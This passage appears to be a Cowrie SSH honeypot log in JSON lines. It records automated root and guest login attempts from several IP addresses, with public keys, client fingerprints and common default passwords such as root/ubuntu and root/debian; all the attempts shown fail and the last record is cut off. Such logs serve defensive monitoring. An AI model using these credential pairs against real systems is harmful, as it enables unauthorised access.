{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:6f:b0:98:2a:d7:04:97:94:88:20:d9:b9:47:9d:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBm1BBiNirp9Y4ZEbpjqBGVKltzkl1lQWM3fLTlMxRQ/1kOyFEiCm3heOMz+nR4KWsuWLPt4gdsbcaLMxRZGYFT+cp9hF6L9tq99pXwutTCS95vshght2DdFHnDcTsykYlewpHRwN9XQrS7Pfn7T3eKuWl/Bs0OgC9LD5qENciJTdkArouzGUmQMp8B3LlxisvreZRMm5YGU/vDzcfHg50cwfvPrlYM8En1WCVsmnih3zXhMnpT2d+aeQBJIc65AynPV+VH6gbIanXH7heEbpDSV3UwYCJFIsIGs4msIjlp8ta8tMQPAu11YUglw4TXi6yDSSt1E6X92WKe1VcfQsX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:12.496508Z","src_ip":"139.162.180.143","session":"18871ac16fd1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:c9:1a:91:53:db:e5:f3:46:61:f8:84:c6:65:bf:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDV8OWyjvIlCZmeg9bhM9J5UBGq7kqt3y3sHU3ZbPINPAOE5dC4LvJMG/RG+eN+3BtxaoPYPl4J3lVAEIDF+UiXc0NlH3SlleJY5JvbWklt+ApOZ9zlgYOm4eWqnJpsnklV8l/0e/vXXouOvaNfoc1AbTsBgF1uhUCjgmzXe20GJVFZpu0ksdHX3nksFvObdjqJs3Ot/Fr5kFMiZTgoIEngn22laFerOYx59MmKlZx+QN6iI1gIDX2KDh0ww4mUVY7X/IQw30i6OKeyc0OP7iEYWNAvGiut8EhNQIinOaDJJLUA1q5ChKL1+He68LSzrt7kKlZC8N6ZWs9PNh4oLpij","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:c9:1a:91:53:db:e5:f3:46:61:f8:84:c6:65:bf:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:12.586927Z","src_ip":"139.162.180.143","session":"18871ac16fd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:c9:1a:91:53:db:e5:f3:46:61:f8:84:c6:65:bf:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDV8OWyjvIlCZmeg9bhM9J5UBGq7kqt3y3sHU3ZbPINPAOE5dC4LvJMG/RG+eN+3BtxaoPYPl4J3lVAEIDF+UiXc0NlH3SlleJY5JvbWklt+ApOZ9zlgYOm4eWqnJpsnklV8l/0e/vXXouOvaNfoc1AbTsBgF1uhUCjgmzXe20GJVFZpu0ksdHX3nksFvObdjqJs3Ot/Fr5kFMiZTgoIEngn22laFerOYx59MmKlZx+QN6iI1gIDX2KDh0ww4mUVY7X/IQw30i6OKeyc0OP7iEYWNAvGiut8EhNQIinOaDJJLUA1q5ChKL1+He68LSzrt7kKlZC8N6ZWs9PNh4oLpij","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:12.591711Z","src_ip":"139.162.180.143","session":"18871ac16fd1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:40:df:a9:b3:96:b0:67:31:09:ea:84:9a:c3:9c:a4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDqW327SfOtfv1JsCgd8jWCdx/UqUofj7r0GKgMcL+gh","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint de:40:df:a9:b3:96:b0:67:31:09:ea:84:9a:c3:9c:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:12.686403Z","src_ip":"139.162.180.143","session":"18871ac16fd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:40:df:a9:b3:96:b0:67:31:09:ea:84:9a:c3:9c:a4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDqW327SfOtfv1JsCgd8jWCdx/UqUofj7r0GKgMcL+gh","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:12.691007Z","src_ip":"139.162.180.143","session":"18871ac16fd1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:0d:e8:2f:25:3b:45:22:a7:e1:da:a1:40:b5:31:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTTZ+TMm0gl1ornP8yiJGMYiQidKabOYXb0Amz8qDFOnUYDiv61GuU4iR2T1oGkwyvQCFCRzOHi7f3tOCXGq11gRN+kqPT89wkMwrdgQEiW1n/L7yTju2yZgB50MbuIrxR62lvztnYDpK9fVMLuXEsZ9FefQfLZhCP+LVt/IhxoJLQ4U45zxc+leoRX600v7fHHh2jhI/SH4DdJekOJGWbPbWKzig/QXe7TDeCpOwj3YGxYYNIDDVuzJQ8bI5pO7E+a+7hWJ7s+Tx56ZNXmHayWwPDuEO+riIPnoJAbHLUUZq0n00YXg1U+HjEjhrVWpirUKb/mZTFdE6D2mxUiW7ACN0a24M/Yh8u70/qvZCgfnjE9umMJIsn+a+HqGmnBgibwifl1GBbO1zF4gFk2lHwUOAx6R6GHBLQG63mzYTcLFNfFtSEcirtW1ubawZQcFI7IoUDjimMhsCXWMDKINtdzdXOJXFVE1RsUuRsr5t/lHoRF/43waPZCEKJ4LOHhXb1S1bnNbiPvl13yfBsCICq2EWl0Gu0vEWK6GSY076oG5SRvFyNG5vvVyDTOGQPVnlGywojywPqz9agVyu9qk62zdI0eTvLHeA4ESAv9q87jrROxY5BblWawMmyw7yI0elS+rNn7cTQMLgxfeqq9G6LQPFQqMPao3v2YAr5qE1XYQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a3:0d:e8:2f:25:3b:45:22:a7:e1:da:a1:40:b5:31:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:12.781195Z","src_ip":"139.162.180.143","session":"18871ac16fd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:0d:e8:2f:25:3b:45:22:a7:e1:da:a1:40:b5:31:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTTZ+TMm0gl1ornP8yiJGMYiQidKabOYXb0Amz8qDFOnUYDiv61GuU4iR2T1oGkwyvQCFCRzOHi7f3tOCXGq11gRN+kqPT89wkMwrdgQEiW1n/L7yTju2yZgB50MbuIrxR62lvztnYDpK9fVMLuXEsZ9FefQfLZhCP+LVt/IhxoJLQ4U45zxc+leoRX600v7fHHh2jhI/SH4DdJekOJGWbPbWKzig/QXe7TDeCpOwj3YGxYYNIDDVuzJQ8bI5pO7E+a+7hWJ7s+Tx56ZNXmHayWwPDuEO+riIPnoJAbHLUUZq0n00YXg1U+HjEjhrVWpirUKb/mZTFdE6D2mxUiW7ACN0a24M/Yh8u70/qvZCgfnjE9umMJIsn+a+HqGmnBgibwifl1GBbO1zF4gFk2lHwUOAx6R6GHBLQG63mzYTcLFNfFtSEcirtW1ubawZQcFI7IoUDjimMhsCXWMDKINtdzdXOJXFVE1RsUuRsr5t/lHoRF/43waPZCEKJ4LOHhXb1S1bnNbiPvl13yfBsCICq2EWl0Gu0vEWK6GSY076oG5SRvFyNG5vvVyDTOGQPVnlGywojywPqz9agVyu9qk62zdI0eTvLHeA4ESAv9q87jrROxY5BblWawMmyw7yI0elS+rNn7cTQMLgxfeqq9G6LQPFQqMPao3v2YAr5qE1XYQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:12.785867Z","src_ip":"139.162.180.143","session":"18871ac16fd1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:9a:86:d5:2e:d3:26:d2:05:93:ab:94:17:c0:93:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD4Maw8kuCSABxME2EaaZykNxCJ/AWvZu7dWNwBnsuUJF/DAhdQW0X05rSSRzl5nPXy9HN75hpj7R8Fjypqjf5C3qHDLWzye0YRYw2eLKpfGxCx3MBnLvQcCg3urMjS/12nR1eXakJ8PAVGYpPtu1JtgkBZr4uzpX7/I5iGv1CW+4rqJaUmAnA40P5rPI0uoGmmetsFmJs1i61gIlSzX/EUFzVFhQR/O+xrvkOfhKlT+zZXBxbhycgOxnwsP6birqk1m/I9y4vECmZ1zDsMxb5mZAKFpXNglYxSPiBfeo81va3PsPJBkTCgw7PuI5iWyAHiUTsDI8Kkm9bzb6nFA/eC46iv9ACtdV1cEqL451o14Qcg9ITaTI6D+//+D7eO1Crbw22kdBjita9t9mmMyRceFo53zqFUQkGqI8eXvfQOFT7Eg4aS3J0LM/E6MRwHtTCSMHZjWVr7NoHCYJfs7OWsDHvXMMC9Y3aDn7naWERjcBxB36DAnfeOfGX1tppqztU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:9a:86:d5:2e:d3:26:d2:05:93:ab:94:17:c0:93:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:12.878239Z","src_ip":"139.162.180.143","session":"18871ac16fd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:9a:86:d5:2e:d3:26:d2:05:93:ab:94:17:c0:93:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD4Maw8kuCSABxME2EaaZykNxCJ/AWvZu7dWNwBnsuUJF/DAhdQW0X05rSSRzl5nPXy9HN75hpj7R8Fjypqjf5C3qHDLWzye0YRYw2eLKpfGxCx3MBnLvQcCg3urMjS/12nR1eXakJ8PAVGYpPtu1JtgkBZr4uzpX7/I5iGv1CW+4rqJaUmAnA40P5rPI0uoGmmetsFmJs1i61gIlSzX/EUFzVFhQR/O+xrvkOfhKlT+zZXBxbhycgOxnwsP6birqk1m/I9y4vECmZ1zDsMxb5mZAKFpXNglYxSPiBfeo81va3PsPJBkTCgw7PuI5iWyAHiUTsDI8Kkm9bzb6nFA/eC46iv9ACtdV1cEqL451o14Qcg9ITaTI6D+//+D7eO1Crbw22kdBjita9t9mmMyRceFo53zqFUQkGqI8eXvfQOFT7Eg4aS3J0LM/E6MRwHtTCSMHZjWVr7NoHCYJfs7OWsDHvXMMC9Y3aDn7naWERjcBxB36DAnfeOfGX1tppqztU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:12.884082Z","src_ip":"139.162.180.143","session":"18871ac16fd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:12.972314Z","src_ip":"139.162.180.143","session":"18871ac16fd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":52398,"dst_ip":"10.17.0.5","dst_port":22,"session":"39c18cac930e","protocol":"ssh","message":"New connection: 98.70.48.241:52398 (10.17.0.5:22) [session: 39c18cac930e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:13.671526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:13.678947Z","src_ip":"98.70.48.241","session":"39c18cac930e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:13.873182Z","src_ip":"98.70.48.241","session":"39c18cac930e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"1111","message":"login attempt [guest/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:14.664714Z","src_ip":"98.70.48.241","session":"39c18cac930e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:15.861024Z","src_ip":"98.70.48.241","session":"39c18cac930e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.31.152.46","src_port":42656,"dst_ip":"159.203.135.109","dst_port":22,"session":"85c6c25d9aec","protocol":"ssh","message":"New connection: 144.31.152.46:42656 (159.203.135.109:22) [session: 85c6c25d9aec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:42.436782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:42.442114Z","src_ip":"144.31.152.46","session":"85c6c25d9aec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:42.570474Z","src_ip":"144.31.152.46","session":"85c6c25d9aec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:42.954232Z","src_ip":"144.31.152.46","session":"85c6c25d9aec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:44.090526Z","src_ip":"144.31.152.46","session":"85c6c25d9aec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.31.152.46","src_port":42658,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1d487e75498","protocol":"ssh","message":"New connection: 144.31.152.46:42658 (159.203.135.109:22) [session: f1d487e75498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:44.217583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:44.222514Z","src_ip":"144.31.152.46","session":"f1d487e75498","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:44.362450Z","src_ip":"144.31.152.46","session":"f1d487e75498","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian","message":"login attempt [root/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:44.759539Z","src_ip":"144.31.152.46","session":"f1d487e75498","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:45.893970Z","src_ip":"144.31.152.46","session":"f1d487e75498","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.31.152.46","src_port":36056,"dst_ip":"159.203.135.109","dst_port":22,"session":"03750593237c","protocol":"ssh","message":"New connection: 144.31.152.46:36056 (159.203.135.109:22) [session: 03750593237c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:46.009514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:46.015077Z","src_ip":"144.31.152.46","session":"03750593237c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:46.140604Z","src_ip":"144.31.152.46","session":"03750593237c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos","message":"login attempt [root/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:46.523154Z","src_ip":"144.31.152.46","session":"03750593237c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:47.650279Z","src_ip":"144.31.152.46","session":"03750593237c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.31.152.46","src_port":36060,"dst_ip":"159.203.135.109","dst_port":22,"session":"2898f10bd8b4","protocol":"ssh","message":"New connection: 144.31.152.46:36060 (159.203.135.109:22) [session: 2898f10bd8b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:47.785774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:47.790928Z","src_ip":"144.31.152.46","session":"2898f10bd8b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:47.929795Z","src_ip":"144.31.152.46","session":"2898f10bd8b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":38314,"dst_ip":"10.17.0.5","dst_port":22,"session":"890681ad7497","protocol":"ssh","message":"New connection: 190.181.25.210:38314 (10.17.0.5:22) [session: 890681ad7497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:48.308091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:48.312596Z","src_ip":"190.181.25.210","session":"890681ad7497","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:48.348858Z","src_ip":"144.31.152.46","session":"2898f10bd8b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com"